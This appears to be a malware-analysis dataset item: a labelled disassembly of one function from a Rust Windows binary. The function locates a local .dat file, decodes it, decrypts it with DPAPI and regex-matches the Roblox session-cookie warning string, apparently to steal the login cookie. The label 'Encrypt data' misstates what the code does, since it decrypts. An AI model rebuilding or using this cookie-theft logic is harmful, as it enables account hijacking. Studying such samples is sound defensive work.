Function at 0x14000bf80
Capabilities:
Encrypt data using dpapi

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x198
mov rsi, rcx
lea rdx, str.HOMEDRIVE
lea rcx, [rsp + 0x50]
mov r8d, 9
call fcn.14022bf70
movabs rbx, 0x8000000000000001
cmp qword [rsp + 0x50], rbx
jne 0x14000cbad
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x110], xmm0
lea rdx, str.USERNAMEO
lea rdi, [rsp + 0x50]
mov r8d, 8
mov rcx, rdi
call fcn.14022bf70
cmp qword [rsp + 0x50], rbx
jne 0x14000cbd0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x50], rax
lea rax, [0x140002170]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
lea rax, [0x140260470]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 3
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], 2
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x80]
call fcn.14023fae0
mov rdx, qword [rsp + 0xe0]
test rdx, rdx
je 0x14000c0b6
mov rcx, qword [rsp + 0xe8]
mov r8d, 1
call fcn.1400244a0
mov rdx, qword [rsp + 0x110]
test rdx, rdx
je 0x14000c0d6
mov rcx, qword [rsp + 0x118]
mov r8d, 1
call fcn.1400244a0
mov rdi, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
lea rcx, [rsp + 0x80]
mov rdx, rdi
call fcn.14022c630
mov rdx, qword [rsp + 0x180]
test rdx, rdx
je 0x14000c111
mov r8d, 1
mov rcx, rdi
call fcn.1400244a0
mov rdi, qword [rsp + 0x80]
mov rax, rdi
neg rax
jno 0x14000c185
mov rdi, qword [rsp + 0x88]
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x14000c173
mov rbx, qword [rdi - 1]
mov r14, qword [rdi + 7]
mov rax, qword [r14]
test rax, rax
je 0x14000c148
mov rcx, rbx
call rax
dec rdi
mov rdx, qword [r14 + 8]
test rdx, rdx
je 0x14000c160
mov r8, qword [r14 + 0x10]
mov rcx, rbx
call fcn.1400244a0
mov edx, 0x18
mov r8d, 8
mov rcx, rdi
call fcn.1400244a0
movabs rax, 0x8000000000000000
mov qword [rsi], rax
jmp 0x14000c7d9
mov r12, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 0
lea rcx, [rsp + 0x80]
lea rbx, [rsp + 0x50]
mov rdx, rbx
call fcn.140008350
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x148], rax
neg rax
jo 0x14000cc16
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x140], rax
mov rbp, qword [rsp + 0x98]
mov r13, qword [rsp + 0xa0]
mov r9, qword [rsp + 0xa8]
lea rdx, [0x1402600f0]
lea rcx, [rsp + 0x80]
mov r8, r13
call fcn.140014590
mov r14, qword [rsp + 0x80]
mov rax, r14
neg rax
jo 0x14000cc4c
mov r15, qword [rsp + 0x88]
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0xe0], eax
mov qword [rsp + 0xe8], r15
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0xe0]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.crypt32.dll_CryptUnprotectData]
test eax, eax
je 0x14000c319
mov rdx, qword [rsp + 0x58]
mov r8d, dword [rsp + 0x50]
lea rcx, [rsp + 0x80]
call fcn.14023fc90
mov rdx, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
mov rax, rdx
neg rax
mov r8, qword [rsp + 0x90]
mov qword [rsp + 0x48], r8
jno 0x14000c37d
mov qword [rsp + 0xd8], rdi
test r8, r8
js 0x14000ccc5
mov rdi, r13
mov r13, rsi
mov rsi, rbp
je 0x14000c353
mov rcx, r8
movzx eax, byte [0x1403af381]
mov eax, 1
mov qword [rsp + 0x40], rax
mov edx, 1
call fcn.140024490
test rax, rax
je 0x14000ccce
mov rbp, rax
mov r8, qword [rsp + 0x48]
jmp 0x14000c358
call fcn.140228a80
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x88], edx
test edx, edx
je 0x14000c28c
test rax, rax
je 0x14000c347
lea rcx, [rsp + 0x80]
call fcn.140228a70
movabs rdx, 0x8000000000000000
jmp 0x14000c37d
mov ebp, 1
mov rcx, rbp
mov rdx, rbx
mov rbx, r8
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rbx
mov rbx, rbp
mov rbp, rsi
mov rsi, r13
mov r13, rdi
mov rdi, qword [rsp + 0xd8]
test r14, r14
je 0x14000c399
mov r8d, 1
mov rcx, r15
mov r15, rdx
mov rdx, r14
call fcn.1400244a0
mov rdx, r15
mov rax, rdx
neg rax
jno 0x14000c3b3
movabs rax, 0x8000000000000000
mov qword [rsi], rax
jmp 0x14000c78d
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x40], r12
lea rdx, str._WARNING:_DO_NOT_SHARE_THIS.._steal_your_ROBUX_and_items.___A_F0_9___
lea rcx, [rsp + 0x80]
mov r8d, 0x4c
call fcn.140050f00
cmp qword [rsp + 0x80], 0
je 0x14000cc82
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x58], rbx
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x78], 0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x160]
call fcn.1400525a0
mov dword [rsp + 0xf8], 0
mov r14, qword [rsp + 0xe8]
mov r12, qword [rsp + 0xf0]
mov rax, qword [rsp + 0x160]
mov r15, qword [rsp + 0x168]
mov qword [rsp + 0xd8], rax
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0xa8]
cmp dword [rax], 1
jne 0x14000c4c8
mov rcx, qword [rsp + 0x48]
cmp qword [rax + 8], rcx
jbe 0x14000c4ab
mov dword [rsp + 0xf8], 0
mov r12, qword [rsp + 0x40]
jmp 0x14000c5c4
test byte [rax + 0x3c], 1
je 0x14000c4c8
test byte [rax + 0x40], 2
je 0x14000c4c8
cmp dword [rax + 0x10], 1
jne 0x14000c4c8
mov rcx, qword [rsp + 0x48]
cmp qword [rax + 0x18], rcx
jb 0x14000c496
call fcn.140058190
cmp dword [rax], 1
mov qword [rsp + 0x108], rbp
jne 0x14000c7f0
add rax, 8
mov rbp, qword [rax]
mov r9, qword [r15 + 0x28]
cmp rbp, r9
jne 0x14000c80a
mov qword [r15 + 0x28], 1
mov qword [rsp + 0x120], r15
mov qword [rsp + 0x110], 1
mov qword [rsp + 0x118], rbp
mov byte [rsp + 0x128], 0
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rax + 0x10]
mov rax, qword [rax + 0x18]
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [r15 + 0x30]
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0x50]
mov r9, r14
call qword [rax + 0x80]
mov qword [rsp + 0x158], rbp
cmp rbp, 2
je 0x14000ccdd
mov r14d, eax
mov qword [r15 + 0x28], rbp
mov r12, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x108]
mov dword [rsp + 0xf8], r14d
mov dword [rsp + 0xfc], edx
cmp r14d, 1
jne 0x14000c5c4
mov rax, qword [rsp + 0xd8]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0xa8]
test byte [rax + 0x20], 1
je 0x14000c5fd
mov rax, qword [rax + 0x28]
inc rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
mov edx, 1
jmp 0x14000c5ff
mov rax, qword [rsp + 0x100]
lock dec qword [rax]
jne 0x14000c5df
lea rcx, [rsp + 0x100]
call fcn.140020230
mov rdx, qword [rsp + 0xe0]
test rdx, rdx
je 0x14000c758
mov rcx, qword [rsp + 0xe8]
jmp 0x14000c749
xor edx, edx
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0xb8], rbx
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0xc0], rcx
lea rcx, [rsp + 0xb0]
cmp dword [rsp + 0xa8], 1
jne 0x14000c729
mov r8, qword [rax + 0x20]
cmp r8, 1
jne 0x14000c6ee
mov r8d, 5
mov edx, 4
mov r9, qword [rsp + 0xa0]
cmp rdx, r9
jae 0x14000c729
mov r10, qword [rsp + 0x98]
mov rdx, qword [r10 + rdx*8]
test rdx, rdx
je 0x14000c729
cmp r8, r9
jae 0x14000c729
mov r10, qword [r10 + r8*8]
test r10, r10
je 0x14000c729
lea r8, [rdx - 1]
lea r9, [r10 - 1]
cmp r8, r9
mov rax, qword [rsp + 0x48]
ja 0x14000c8f3
mov r14, rcx
test r8, r8
je 0x14000c8e2
cmp r8, rax
jae 0x14000c8e0
cmp byte [rbx + r8], 0xbf
jg 0x14000c8e2
jmp 0x14000c8f3
mov edx, dword [rsp + 0xac]
cmp r8, rdx
jbe 0x14000c729
mov r9, qword [rax + 0x18]
mov r8d, dword [r9 + rdx*8]
mov edx, dword [r9 + rdx*8 + 4]
sub rdx, r8
cmp rdx, 4
jb 0x14000c729
lea rdx, [r8 + 2]
add r8, 3
mov r9, qword [rsp + 0xa0]
cmp rdx, r9
jb 0x14000c690
lock dec qword [rax]
jne 0x14000c734
call fcn.140020230
mov rdx, qword [rsp + 0x90]
test rdx, rdx
je 0x14000c758
mov rcx, qword [rsp + 0x98]
shl rdx, 3
mov r8d, 8
call fcn.1400244a0
movabs rax, 0x8000000000000000
mov qword [rsi], rax
lea rcx, [rsp + 0x160]
call fcn.14000abc0
mov rdx, qword [rsp + 0x150]
test rdx, rdx
je 0x14000c78d
mov r8d, 1
mov rcx, rbx
call fcn.1400244a0
mov rdx, qword [rsp + 0x148]
test rdx, rdx
je 0x14000c7ad
mov r8d, 1
mov rcx, qword [rsp + 0x140]
call fcn.1400244a0
test rbp, rbp
je 0x14000c7c3
mov r8d, 1
mov rcx, r13
mov rdx, rbp
call fcn.1400244a0
test rdi, rdi
je 0x14000c7d9
mov r8d, 1
mov rcx, r12
mov rdx, rdi
call fcn.1400244a0
mov rax, rsi
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rax
xor edx, edx
call fcn.140251850
mov rbp, qword [rax]
mov r9, qword [r15 + 0x28]
cmp rbp, r9
je 0x14000c4f2
lea rcx, [rsp + 0x110]
mov rdx, r15
mov r8, rbp
call fcn.140251340
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rax + 0x10]
mov rax, qword [rax + 0x18]
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
test byte [rsp + 0x110], 1
je 0x14000c85e
mov rbp, qword [rsp + 0x118]
mov r15, qword [rsp + 0x120]
jmp 0x14000c540
mov r15, qword [rsp + 0x118]
mov rbp, qword [rsp + 0x120]
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0x50]
mov rdx, r15
mov r9, r14
call qword [rax + 0x80]
mov r14d, eax
mov dword [rsp + 0x3c], edx
test byte [rsp + 0x128], 1
jne 0x14000caac
call fcn.140058190
cmp dword [rax], 1
jne 0x14000cb4c
add rax, 8
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x14000cb63
mov qword [rsp + 0x138], r15
mov rax, qword [rax]
mov rdx, rax
or rdx, rcx
shr rdx, 0x20
je 0x14000c9c5
xor edx, edx
div rcx
mov r9, rdx
jmp 0x14000c9cc
jne 0x14000c8f3
test r9, r9
je 0x14000c90c
cmp r9, rax
jae 0x14000c90a
cmp byte [rbx + r9], 0xbf
jg 0x14000c90c
mov rdx, rax
lea rax, str.C:UsersDamon.cargo_registry_srcindex.crates.io_6f17d22bba15001f_regex_1.10.6_src_regex_string.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14025da10
jne 0x14000c8f3
sub r10, rdx
add r8, rbx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r10
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x110], rax
lea rax, [0x14001bc60]
mov qword [rsp + 0x118], rax
lea rax, str._WARNING:_DO_NOT_SHARE_THIS.__Sharing_this_will_allow_someone_to_log_in_as_you_and_to_steal_your_ROBUX_and_items._
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.14023fae0
mov rax, qword [rsp + 0xb0]
lock dec qword [rax]
jne 0x14000c998
mov rcx, r14
call fcn.140020230
mov rdx, qword [rsp + 0x90]
test rdx, rdx
je 0x14000c765
mov rcx, qword [rsp + 0x98]
shl rdx, 3
mov r8d, 8
call fcn.1400244a0
jmp 0x14000c765
xor edx, edx
div ecx
mov r9d, edx
mov r12d, 0xa
jmp 0x14000c9ea
xor eax, eax
xchg byte [r15], al
cmp al, 2
je 0x14000ca91
dec r12d
je 0x14000caa4
mov rdx, qword [rbp + 0x10]
cmp r9, rdx
jae 0x14000cd13
mov r15, qword [rbp + 8]
mov rcx, r9
shl rcx, 6
mov dl, 1
xor eax, eax
lock cmpxchg byte [r15 + rcx], dl
jne 0x14000c9e1
add r15, rcx
mov rdx, qword [0x1403af278]
mov rax, qword [rdx]
shl rax, 1
test rax, rax
jne 0x14000ca5e
movzx eax, byte [r15 + 1]
test al, al
je 0x14000cadd
mov rax, qword [rdx]
shl rax, 1
test rax, rax
je 0x14000c9d4
mov qword [rsp + 0xd0], r9
call fcn.14025c1f0
mov r9, qword [rsp + 0xd0]
test al, al
jne 0x14000c9d4
mov byte [r15 + 1], 1
jmp 0x14000c9d4
mov qword [rsp + 0xd0], r9
call fcn.14025c1f0
movzx ecx, byte [r15 + 1]
test cl, cl
je 0x14000cb6f
test al, al
mov r9, qword [rsp + 0xd0]
mov rdx, qword [0x1403af278]
je 0x14000c9d4
jmp 0x14000ca30
mov rcx, r15
mov r15, r9
call fcn.14025c380
mov r9, r15
jmp 0x14000c9e1
mov r15, qword [rsp + 0x138]
mov rcx, r15
call fcn.14000ae20
mov edx, 0x578
mov r8d, 8
mov rcx, r15
call fcn.1400244a0
mov r12, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x108]
mov edx, dword [rsp + 0x3c]
jmp 0x14000c57d
xor eax, eax
mov r12, qword [r15 + 0x18]
cmp r12, qword [r15 + 8]
mov rbp, qword [rsp + 0x108]
jne 0x14000cb0f
lea rcx, [r15 + 8]
mov dword [rsp + 0xd0], eax
call fcn.1400210e0
mov eax, dword [rsp + 0xd0]
mov rdx, qword [0x1403af278]
mov r8, qword [r15 + 0x10]
mov rcx, qword [rsp + 0x138]
mov qword [r8 + r12*8], rcx
inc r12
mov qword [r15 + 0x18], r12
test al, al
jne 0x14000cb35
mov rax, qword [rdx]
shl rax, 1
test rax, rax
jne 0x14000cb9d
xor eax, eax
xchg byte [r15], al
cmp al, 2
mov r12, qword [rsp + 0x40]
je 0x14000cb93
mov edx, dword [rsp + 0x3c]
jmp 0x14000c57d
mov rcx, rax
xor edx, edx
call fcn.140251850
mov rcx, qword [rbp + 0x10]
test rcx, rcx
jne 0x14000c8b8
lea rcx, [0x14025fcc0]
call fcn.14025da70
xor al, 1
mov rdx, qword [0x1403af278]
mov r12, qword [r15 + 0x18]
cmp r12, qword [r15 + 8]
mov rbp, qword [rsp + 0x108]
je 0x14000caf1
jmp 0x14000cb0f
mov rcx, r15
call fcn.14025c380
jmp 0x14000cb43
call fcn.14025c1f0
test al, al
jne 0x14000cb35
mov byte [r15 + 1], 1
jmp 0x14000cb35
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
lea rax, [0x1402603f8]
jmp 0x14000cbf1
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
lea rax, [0x140260418]
mov qword [rsp + 0x20], rax
lea rcx, [0x14025fd68]
lea r9, [0x14025fd48]
lea r8, [rsp + 0x80]
mov edx, 0x2b
call fcn.14025d6c0
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x50], rax
lea rax, [0x1402604c0]
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_parse_the_.dat_file
lea r9, [0x14025fd28]
lea r8, [rsp + 0x50]
mov edx, 0x1d
call fcn.14025d6c0
movups xmm0, xmmword [rsp + 0x88]
movaps xmmword [rsp + 0x50], xmm0
lea rax, [0x140260260]
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_decode_base64_datahound_rbx.rs
lea r9, [0x14025fd08]
lea r8, [rsp + 0x50]
mov edx, 0x1c
call fcn.14025d6c0
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x88]
movaps xmmword [rsp + 0x50], xmm0
lea rax, [0x1402602c8]
mov qword [rsp + 0x20], rax
lea rcx, [0x14025fd68]
lea r9, [0x14025fd98]
lea r8, [rsp + 0x50]
mov edx, 0x2b
call fcn.14025d6c0
mov qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
call fcn.14025cfe5
mov qword [rsp + 0x80], 0
lea rax, [0x14025fcf0]
mov qword [rsp + 0x20], rax
mov rdx, qword [str.P6_]
lea r8, [rsp + 0x158]
lea r9, [rsp + 0x80]
mov cl, 1
call fcn.1402517d1
lea r8, [0x14025fcd8]
mov rcx, r9
call fcn.14025d474
int3